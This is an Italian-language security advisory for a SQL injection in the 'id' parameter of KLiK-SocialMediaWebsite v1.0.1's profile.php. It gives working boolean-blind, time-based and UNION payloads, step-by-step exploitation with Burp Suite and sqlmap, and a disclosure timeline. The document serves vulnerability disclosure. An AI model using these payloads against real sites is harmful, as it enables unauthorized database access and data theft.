KLiK-SocialMediaWebsite versione v1.0.1

Spiegazione della vulnerabilità:

KLiK-SocialMediaWebsite v1.0.1 presenta vulnerabilità di SQL Injection su profile.php nel parametro id.

Vettori d'attacco:

KLiK-SocialMediaWebsite v1.0.1 Una volta creato un utente, è possibile trovare persone su KLiK tramite la pagina KLiK Users. Il parametro "id" di profile.php può essere sfruttato per iniettare query SQL arbitrarie.

Interessato:

• http://ip_address/KLiK/profile.php?id=user_id
• GET /KLiK/login.php

Payload :

Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=27 AND 3227=3227

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=27 AND (SELECT 3046 FROM (SELECT(SLEEP(5)))barN)

    Type: UNION query
    Title: MySQL UNION query (NULL) - 11 columns
    Payload: id=-2373 UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x71787a7171,0x6d67676474624545784f564265735871415865575a4f72697053686d724768624969514c70754459,0x717a707071),NULL,NULL,NULL,NULL,NULL,NULL#

Testato su:

1. KLiK SocialMediaWebsite versione v1.0.1 (https://github.com/msaad1999/KLiK-SocialMediaWebsite/releases/tag/v1.0.1)

2. Firefox versione 105

3. sqlmap versione 1.6.7 stable

Passaggi per l'attacco:

1. Accedi con nome utente e password.
2. Fai clic sull'icona raffigurante una persona nell'angolo in alto a destra.
3. Intercetta la richiesta utilizzando Burp Suite.
4. Seleziona un individuo dalla pagina KLiK Users cliccando sul suo nome.
5. Tornando a Burp Suite, in /profile.php, fai clic con il tasto destro e seleziona "Copy to file."
6. Invia il file di richiesta a Kali Linux e usa sqlmap con esso.
7. Vulnerabilità di SQL Injection scoperta tramite id

Scopritore:

:shipit: Grim The Ripper Team da SOSECURE Thailand

Medium:

Cronologia della divulgazione:

• 2022–09–28: Vulnerabilità scoperta.
• 2022–09–28: Vulnerabilità segnalata alla società MITRE.
• 2022–10–15: CVE è stato riservato.
• 2022–10–31: Divulgazione pubblica della vulnerabilità.

Riferimenti:

3. https://github.com/msaad1999/KLiK-SocialMediaWebsite/releases/tag/v1.0.1

4. https://github.com/msaad1999/KLiK-SocialMediaWebsite